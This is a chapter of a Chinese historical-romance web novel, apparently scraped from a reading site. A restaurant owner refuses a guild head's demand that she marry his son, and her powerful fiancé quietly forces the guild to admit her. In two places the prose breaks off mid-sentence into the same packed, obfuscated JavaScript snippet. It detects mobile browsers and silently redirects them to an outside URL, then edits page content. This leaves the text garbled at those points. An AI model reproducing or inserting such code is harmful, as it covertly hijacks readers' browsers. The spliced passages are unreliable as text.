会长胡赛茫坐在厅堂正中，刚才那位公子就站在他身边，他翻看着申请，也是与几位会员商讨几句，接着三言两语就打发了前几封申请，将人请了出去。 轮到江弥杉时，胡赛茫看完申请，满意地点头笑，才抬眼望向江弥杉。 坐在前排的几位对了眼色，鲁旺也摸不准胡掌柜怎么会临时变卦，默不作声地端茶抿一口。 胡赛茫：“按江记的资质来看，江姑娘何不选择联营呢？” 江弥杉也摸不准胡赛茫的用意，她是来申请入会的，不是来找合作伙伴的，真要合作的话，也不是现在。 她微笑回道：“江记起步不久，食肆运营尚还未十分成熟，联营固然有益，但我担心联营会打乱阵脚。” 胡赛茫：“嗯，江姑娘说得不错，联营也许相互知晓底细才好。” ：“若是成为一家人，是否能解决姑娘顾虑？” 江弥杉唇角抽了下，丝毫没有想到胡赛茫竟打的是这样的主意，她一时为庆幸已经定亲，面上依旧保持微笑，：“胡会长高见，但我已经定亲，因而并不考虑改换婚约。” 胡赛茫一言，在坐的人都不由得诧异，鲁旺暗暗捏紧手，感叹胡塞茫原来是在为胡勇招亲，一石两鸟，打的手好算盘。 胡勇脸色明显一暗，好容易遇到合眼缘的，竟是个定了亲的！ 胡赛茫并不在意：“姑娘所定亲事，无外乎普通人家，而胡家，也算是京中富商，普通商妇的日子如何会比富商少夫人畅快。” ：“江姑娘再想想，别急着做决定。” ：“今日就先到此处，散会吧。” ：“江姑娘也再仔细想想。” 江弥杉忍得脑袋两侧都在跳，这个说法简直大大出乎她的意料，胡赛茫竟用这个来做入会要求，笃定她一定会接受。 江弥杉望向笑着的胡赛茫，又望向他身后目露期待的公子，只感荒谬。 直至由丫鬟带着走出商会，听她说着胡家种种好处，江弥杉无言以对，没等她送，就先告辞。 胡家必然打听过她的身世，只知道她是孤身一人，但其他的事，他们并不知情。 如果知情呢？ 江弥杉冷哼一声，听着鲁旺几个老板的交谈。 其中一个笑着上前，手指了一圈：“江姑娘，其实我们也是富商，要不你考虑考虑我们哈哈哈哈哈哈哈。” 江弥杉对不怀好意的玩笑毫无任何耐心，冷笑道：“是吗？我怕你们承受不起。” 说完，江弥杉目光刮过那群看戏的人，头也不回的往前走。 鲁旺：“她这话是什么意思？” ：“看不起我们？” 被浇冷水的张掌柜：“不知天高地厚的黄毛丫头。” 江弥杉一路往食肆的方向走，气笑了几回，越想就不愿意私下解决。 江记有进的资本，如此也要看是否遵循胡家的“好意”。 胡赛茫很精明，只要她点头，江记也不再是她的江记，而属于胡家。 她又没有娘家，表面上看背后没有依仗，嫁给她的纨绔儿子，反悔的机会都没有，即便有，她也只会是净身出户。 好处都让他想完了！ 江弥杉冷笑，遇上这样的人，的确可以高调一回。 走到食肆时，门口已经排着队，后厨正在忙碌，片鱼的片鱼，熬酸笋汤的熬汤…… 江弥杉走入厨间，忙碌的人都不约而同的停下。 兰香从茶炉边快步走到江弥杉身边，：“姑娘如何？” 江弥杉深吸一口气，微笑着说：“还有些小问题。” ：“什么问题？” 江弥杉：“额……就是让我嫁给胡掌柜的儿子。” 屋内的人都一愣，兰香先诧异啊了一声，瞬间到冷脸的李大人。 ：“这……” 江弥杉：“问题不大，没事的。” 兰香点头，心想姑娘必然不会同意，别说姑娘不会同意，若是被李大人知晓了，也不会轻易饶了胡老板的吧…… 不对，兴许不止李大人！ 李大人好歹有了贵人们的首肯，胡掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315008|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜的儿子…… 简直是癞蛤蟆想吃天鹅肉！ 方万宜片鱼的动作停了片刻，胡掌柜的厚颜意料之中，但提出要求又出乎意料，但很可惜，这回他们无法再随心所欲地左右旁人。 想着，方万宜抬眸望向眼含笑意的江弥杉。 京城的商户如此多，被商会恶意排挤的更不在少数，兴许，弥杉能够改变这样状况。 让为非作歹之人，也体验一回无力。 江弥杉说完情况，便不再多纠结，绕着去尝灶上炖煮的酱、汤。 ＊ 黄昏喧嚣，殷红的酸汤热气滚滚，将美味散至空气，挠勾着座上人的馋。 玉欣怡在赵穆小心的照看下落座，玉欣怡低声道：“才两旬呢！” 赵穆：“两旬更要仔细。” 玉欣怡无奈：“……随你！” 点完菜，又等了片刻，点的菜就送上了桌。 今日的推荐菜肴是酸笋鱼片，正对玉欣怡想吃酸的心。 因而今日还点了柠檬果拌的鸡丝、茄团酱与芝士做得烤饼，糖醋炒得几道素菜。 玉欣怡先盛了一碗酸菜鱼片，说是鱼片，其实汤中还有白菜丝、豆芽、土豆与豆腐，裹着红彤彤的薄纱一般美得亮眼。 赵穆正对着门，夹菜的无意间便扫到走进的李定卓与章文安。 ：“怎么了？” 玉欣怡吃了块嫩鱼片，笋的酸味是如此刺激，但又未让她感到难以承受，反倒让味口得以打开，想吃的更多。 但看赵穆夹菜不动，玉欣怡顺口问了句。 两人直直走过拐弯去了包房，赵穆也收回目光，夹菜入碗：“无事。” 玉欣怡嗯的应了一声，：“那快用饭吧，鱼片很美味的。” 可比府里做的好吃！ 赵穆微微一笑，：“日后外送吧，免得奔走。” 玉欣怡不乐意：“我就趁着想趁着有机会时出来走走！” 此时，江弥杉正好从厨间出来，玉欣怡一眼就望见了，抬手晃晃。 江弥杉是出来查看食客用餐情况的，见玉欣怡招手，她便走至餐桌边。 玉欣怡先道：“江姐姐，我有两旬的身孕了！” 赵穆：“……” 江弥杉惊喜地望向玉欣怡的小腹，：“那得好好修养，但也需适当的活动活动。” 玉欣怡轻笑，：“我知晓的，只是忍不住想吃江记的饭菜了。” 江弥杉想着有些菜食并不合适孕妇吃，若是有个万一，伤身动气，那是后悔也来不及。 ：“欣怡、赵公子，孕中也有饮食忌讳，食肆的吃食未必能顾得周全，还是谨慎些，先撑过当下这段时间为好。” 见玉欣怡唇边笑意消散，江弥杉又道：“不过，若是得空，二位不介意的话，我可去王府。” 玉欣怡眼睛一亮，抢在赵穆之前：“不会介意的，不会介意的，欢迎都会来不及呢！” ：“那江姐姐何时得空？” 江弥杉：“待江记进入商会之后，应该会有空闲。” 赵穆抿唇，又望向期待的玉欣怡，：“那便有劳江姑娘了。” 59. 商会 江弥杉绕完两处店面才从兰香口中知道李定卓与章文安在三号包房用餐，她轻敲了三下，才推开门。 桌上已上了菜，李定卓转头望向门，吱呀一声中，露出彩霞般灿烂的笑颜。 ：“今日来的真早。”江弥杉进屋时顺手将门合上。 章文安用酸汤拌着米饭，眼睛又还期待地等了片刻，又挪回来，笑着打招呼：“江姑娘好啊！” 李定卓的目光随之落到身侧，唇角微微扬起：“今日无其他事务要处理，因而来得早些。” 江弥杉：“难怪，不过再晚几刻，食肆就打样了。” 李定卓微微一笑，岔开话题：“商会的事情如何了？” 章文安也望向江弥杉，先预测:"成了？" 江弥杉不打算现在就完全说，因而只是摇头：“还有些小问题要处理。” ：“今夜陪我一起回家可好？” 既然涉及解决亲事更换的问题，她想瞒着李定卓也不是太好，私人的事，还是私下解决，以免惹起不必要的麻烦。 李定卓凝望着江弥杉常常光彩四溢的笑眸，从前自然的事，她今日特意提出，足以可知，弥杉必然是有必须要与他单独说的事，此事大多也是关于那些“小问题”。 小问题，究竟是小的可以轻易解决，还是弥杉让人安心的说辞。 李定卓眸色沉沉，唇角微动了两下，：“好，我送你回去。” 章文安早已习惯，自顾自吃着，想着他与万宜一起回去。 ：“那你们慢用，我先去厨间了。” ：“嗯。” 食肆打样时天色已灰暗，兰香知晓江弥杉有话与李定卓说，便跑往前去小摊逛着。 李定卓握着灯笼，任由江弥杉挽着手腕，鞋前的黑影宛若黏在了一起。 江弥杉没有等李定卓问，先将一早遇到事的说了出来：“食肆的应是没有太多问题的，但胡掌柜有意让我嫁给胡勇，我回绝了，他让我在仔细考虑考虑。” ：“我虽有休书，但也不想用在改嫁给一个连最初的心爱都没有的人上，更不想用在一个试图占据江记的人上。” 李定卓听着，放慢了脚步，眉心紧蹙，：“如此看，他查过你，但只查到皮毛。” 江弥杉：“嗯，否则也不会当着其他掌柜的面问出来，笃定了我思索后会接受。” 江弥杉仰头，很谨慎地道：“因此，我需借你名号一用，打消他们逼婚的想法。” 李定卓沉默片刻，眸中思绪随之而来，这并非是什么大事，胡赛茫借以权压人，尚还光明正大，弥杉小用一回，反而如此小心。 胡赛茫打得手好算盘，胡勇也不例外。 李定卓心里冷哼，面上依旧保持冷静：“何时去？” 江弥杉笑回：“二十，他光明正大的问，我也要光明正大的回绝。” 李定卓点头同意：“你放心去做，与我定亲并非什么不可宣扬之事。” 江弥杉知道李定卓必定不会回绝，只是擅自拿着镇抚司指挥使的名头在外宣扬，总归不太好。 她只要胡掌柜，以及其他几个带着有色眼镜看人的掌柜稍微收敛些。 如何看她不重要，就是不要跳到她眼前胡言乱语，她可没这么好的耐性。 江弥杉有些不好意思：“我与李定卓定亲了，我与指挥使定亲了，后者我还是第一回说呢！” 李定卓低声慢笑：“你无需在意这些，京城里，某位大人的夫人这般状况并不少。” ：“再者，江记并非依此而受青睐，他们为难在前，你是为了江记，又并非为了夸耀，无需扭捏。” 江弥杉：“……” ＊ 二十这日，天高云淡，江弥杉早早便出了门，往商会去。 无聊的会议后，江弥杉照常随着几位申请入会的掌柜走进，她依旧被排在最后。 今日胡勇也在，只是看她的眼神不太一样，像是在小心翼翼的觊觎。 几位为首的掌柜也没有再往她身上乱瞄.眉眼间的打趣也少了许多。 江弥杉对眼前的景象很是诧异，听着被回绝的几位章柜出去，刚上前，为首的胡掌柜也换了副脸色。 ：“来人，给江姑娘看座。” 江弥杉摸不着头脑，他们是把她查清楚，知晓她背后的事了？ 江弥杉：“我站着说就好，胡会长无需如此优待。” 胡赛茫恨不得将之前说的话都吞回去，立刻准江弥杉入会。 江弥杉没有去坐下，她微笑着道：“胡会长之前让我考虑的事，我还是保持原来的态度，无论我未婚夫婿如何，我都不改嫁。” ：“但若胡会长仍要坚持，我也可直接告诉您，我江弥杉，无论何时、何地，与何人定亲或是成婚，即便是未婚夫婿位居指挥使之位，我都可光明正大的悔婚，休夫。” ：“我言尽于此，胡会长还有疑问吗？” 坐着的会员目光都落在厅堂中站着的女子，心里暗暗为老胡捏别把汗。 江弥杉接着眯眼笑着，目光将头起的几位看过来，：“其次，我没有与诸位富商有任何试一试的想法。” 张掌柜慌得移开实视线，鲁贵端茶掩饰。 胡勇已经不敢再去看，胡赛茫不知发生了什么，唇角都僵住。 胡勇回忆起前几日的事，如今还是背冒冷汗。 他那夜在沐花街玩乐，本是好好的，结果门忽然就被推开了。 进来的人不是娇滴滴的妓子，而是活阎王李定卓。 李定卓进了屋，先遣散了屋里的女子，随后冷着一张煞脸坐到他身边的木椅子上，自顾自地倒杯酒，问他是否将要成亲了。 胡勇想起江弥杉，又不敢不交代，鬼使神差的点头。 李定卓把玩着酒杯：“哦，是何人？” 胡勇老实回道：“江弥杉。” ：“那你可知，江弥杉有未婚夫婿？” ：“知晓。”胡勇又不由得心虚了。 李定卓阴晴不定，问他：“那你可知此人为何是江弥杉的未婚夫婿？” 胡勇那晓得这些，他摇头否认。 李定卓这时才语无波澜地说出父亲没有打听出来的事：“因为江弥杉是江卓越将军唯一在世的独女，颇受圣恩眷顾，此人因是她所喜，由宫里点头，才成了她的未婚夫婿。” ：“你可知此人是谁？” 胡勇吓得说不出话，还是摇头。 李定卓脸色冰冻如一般：“是我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341283|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 胡勇愣了片刻，吓得趴跪而下，扬言错了。 李定卓没有管他，继续道：“你们打听人底细，便是如此打听的？” ：“她行事的端正，可你们行得不端，因她不改嫁而拒了她，也并非什么大事。” ：“此路不通，不代表她无其他可走。” 说完，李定卓就轻飘飘的，鬼魅一般的走了。 胡勇已无心于此喝酒玩乐，回家便将事情告诉了老爹与娘。 胡赛茫当夜就将入会文书写完了。 晨会时，就将准许江记入会的事告之会员，鲁旺与几个掌柜不同意，胡赛茫将江弥杉背后的事情说完，几人都不说话了，点了头。 胡赛茫清清嗓子，：“江姑娘那里的话，之前是我们有错，也是我老糊涂了，才提起联姻的事，那日散会之后，我后悔不已，懊悔与江姑娘提出那般无礼的要求，实在不是一会之长的风范，还请江姑娘见谅。” 江弥杉以为听错了，见过变脸，没见过变得这么快的。 短短十日，在她没说话前就改了脸，细思下来，江弥杉只想到了一种可能。 李定卓找过胡家的人。 胡赛茫继续道：“江记的资质，足以入会，但也还需诸位会员举手表决，如此才可往入会文书盖印。” 江弥杉心中五味杂陈，暗暗握紧手。 表决环节，在坐的掌柜，包括鲁贵那几位都举了手。 由文书由胡赛茫盖了印，又丫鬟端来江弥杉面前摁指印。 江弥杉将座上的人扫了一圈，觉得商会也不过如此，不看资质看背景。 她冷笑一声，摁上红印泥，重重往文书上摁了个印。 难怪京中三层的食肆酒楼这么少，难怪来申请的食肆或酒楼都被以各种理由拒之门外！ 原来这些理由只不过他们不想增加的竞争对手的说辞，只有遇上得罪不起的人，他们才会如此谄媚。 江弥杉暗暗握紧袖中的拳头，望向中间的座位。 散会后，江弥杉拿着文书从商会出来，谈不上高兴，而是心里似被一口闷气堵住。 她得先有加盖的资质，才能有坐上会长之位的资本，如此才能有改变商会糟糕状况的权利。 鲁贵几人从江弥杉身边过，推攮着张掌柜往前去。 ：“江姑娘留步！！” 江弥杉听见声音，心里更烦得慌，只想装作没有听到，眼不见心不烦，于是又往前快步走。 张掌柜望着明显加快步伐的江弥杉，停下来脚步，转身与鲁贵道：“人家不想搭理我们。” 鲁贵：“……” ：“等下回吧，她总要来开会。” 其中一人，抱胸哼了声：“谁叫你当初口不择言，张富商。” 张掌柜不乐意了：“你们是没说，但你们心里也不干净～” ：“诶你……” 鲁贵不耐烦：“够了！人家都不想搭理我们，要道歉，也得人家愿意听才可啊，吵什么吵！” ：“人家连台阶都不愿给，这是好事？” 一行人不再说完，将怒气憋在心里。 江弥杉头也不回的往前走，才出巷口，目光就与头一个豆腐摊吃豆花的李定卓对上。